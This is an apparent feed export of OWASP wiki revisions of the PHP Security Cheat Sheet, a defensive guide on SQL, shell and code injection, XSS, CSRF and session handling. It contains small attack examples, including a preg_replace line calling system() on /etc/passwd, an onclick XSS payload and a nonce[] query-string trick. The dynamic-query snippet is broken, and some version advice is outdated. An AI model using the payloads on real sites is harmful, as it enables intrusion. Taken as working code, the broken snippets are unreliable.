The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
       if (!in_array($Needle,$Haystack))&lt;br /&gt;
          return reset($Haystack); //first element&lt;br /&gt;
       return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=Access Control Cheat Sheet=&lt;br /&gt;
This section aims to mitigate access control issues, as well as '''Insecure Direct Object Reference''' issues. &lt;br /&gt;
&lt;br /&gt;
=Cryptography Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
PHP filters can be tricky and complex. Be extra-conscious when using them. &lt;br /&gt;
&lt;br /&gt;
== Logging ==&lt;br /&gt;
Set display_errors to 0, and set up logging to go to a file you control, or at least syslog. This is the most commonly neglected area of PHP configuration&lt;br /&gt;
&lt;br /&gt;
== Output encoding ==&lt;br /&gt;
Output encoding is entirely up to you. Just do it, ESAPI for PHP is ready for this job.&lt;br /&gt;
&lt;br /&gt;
These are transparent to you and you need to know about them. php://input: takes input from the console gzip: takes compressed input and might bypass input validation http://au2.php.net/manual/en/filters.php &lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])&lt;br /&gt;
&lt;br /&gt;
[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]&lt;br /&gt;
&lt;br /&gt;
[mailto:vanderaj@owasp.org Andrew van der Stock]&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
{{Cheatsheet_Navigation}}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Luke Plant</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=182870</id>
		<title>PHP Security Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=PHP_Security_Cheat_Sheet&amp;diff=182870"/>
				<updated>2014-09-25T07:47:30Z</updated>
		
		<summary type="html">&lt;p&gt;Luke Plant: /* Exceptions and error handling */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= DRAFT CHEAT SHEET - WORK IN PROGRESS =&lt;br /&gt;
= Introduction  =&lt;br /&gt;
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.&lt;br /&gt;
&lt;br /&gt;
==PHP overview==&lt;br /&gt;
&lt;br /&gt;
PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.&lt;br /&gt;
&lt;br /&gt;
An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the latter. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.&lt;br /&gt;
&lt;br /&gt;
Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.&lt;br /&gt;
&lt;br /&gt;
===Language issues===&lt;br /&gt;
&lt;br /&gt;
====Weak typing====&lt;br /&gt;
&lt;br /&gt;
PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).&lt;br /&gt;
&lt;br /&gt;
Try to use functions and operators that do not do implicit type conversions (e.g. &amp;lt;code&amp;gt;===&amp;lt;/code&amp;gt; and not &amp;lt;code&amp;gt;==&amp;lt;/code&amp;gt;). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like &amp;lt;code&amp;gt;in_array&amp;lt;/code&amp;gt;) use weakly typed comparison functions by default, making it difficult to write correct code.&lt;br /&gt;
&lt;br /&gt;
====Exceptions and error handling====&lt;br /&gt;
&lt;br /&gt;
Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In other languages, error conditions that are caused by developer errors will cause the program to stop running, which is the safest thing to do.&lt;br /&gt;
&lt;br /&gt;
Consider the following code which limits attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:&lt;br /&gt;
&lt;br /&gt;
    $db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');&lt;br /&gt;
&lt;br /&gt;
    function can_access_feature($current_user) {&lt;br /&gt;
        global $db_link;&lt;br /&gt;
        $username = mysqli_real_escape_string($db_link, $current_user-&amp;gt;username);&lt;br /&gt;
        $res = mysqli_query($db_link, &amp;quot;SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';&amp;quot;);&lt;br /&gt;
        $row = mysqli_fetch_array($res);&lt;br /&gt;
        if ((int)$row[0] &amp;gt; 0) {&lt;br /&gt;
            return false;&lt;br /&gt;
        } else {&lt;br /&gt;
            return true;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    if (!can_access_feature($current_user)) {&lt;br /&gt;
        exit();&lt;br /&gt;
    }&lt;br /&gt;
    &lt;br /&gt;
    // Code for feature here&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the &amp;lt;code&amp;gt;mysqli_&amp;lt;/code&amp;gt; functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable &amp;lt;code&amp;gt;$row&amp;lt;/code&amp;gt; becomes &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and PHP will evaluate &amp;lt;code&amp;gt;$row[0]&amp;lt;/code&amp;gt; also as &amp;lt;code&amp;gt;NULL&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(int)$row[0]&amp;lt;/code&amp;gt; as &amp;lt;code&amp;gt;0&amp;lt;/code&amp;gt;, due to weak typing. Eventually the &amp;lt;code&amp;gt;can_access_feature&amp;lt;/code&amp;gt; function returns &amp;lt;code&amp;gt;true&amp;lt;/code&amp;gt;, giving access to all users, whether they are on the blacklist or not.&lt;br /&gt;
&lt;br /&gt;
The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.&lt;br /&gt;
&lt;br /&gt;
It is often best to turn up error reporting as high as possible using the&lt;br /&gt;
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.&lt;br /&gt;
&lt;br /&gt;
====php.ini====&lt;br /&gt;
&lt;br /&gt;
The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”&lt;br /&gt;
&lt;br /&gt;
====Unhelpful builtins====&lt;br /&gt;
&lt;br /&gt;
PHP comes with many built-in functions, such as &amp;lt;code&amp;gt;addslashes&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;mysql_escape_string&amp;lt;/code&amp;gt; and&lt;br /&gt;
&amp;lt;code&amp;gt;mysql_real_escape_string&amp;lt;/code&amp;gt;, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.&lt;br /&gt;
&lt;br /&gt;
Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.&lt;br /&gt;
&lt;br /&gt;
===Framework issues===&lt;br /&gt;
&lt;br /&gt;
====URL routing====&lt;br /&gt;
&lt;br /&gt;
PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:&lt;br /&gt;
&lt;br /&gt;
* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.&lt;br /&gt;
&lt;br /&gt;
* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static  assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.&lt;br /&gt;
&lt;br /&gt;
====Input handling====&lt;br /&gt;
&lt;br /&gt;
Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a &amp;quot;one time nonce&amp;quot; mechanism that might be used, for example in a password reset code:&lt;br /&gt;
&lt;br /&gt;
    $supplied_nonce = $_GET['nonce'];&lt;br /&gt;
    $correct_nonce = get_correct_value_somehow();&lt;br /&gt;
    &lt;br /&gt;
    if (strcmp($supplied_nonce, $correct_nonce) == 0) {&lt;br /&gt;
        // Go ahead and reset the password&lt;br /&gt;
    } else {&lt;br /&gt;
        echo 'Sorry, incorrect link';&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
If an attacker uses a querystring like this:&lt;br /&gt;
&lt;br /&gt;
    http://example.com/?nonce[]=a&lt;br /&gt;
&lt;br /&gt;
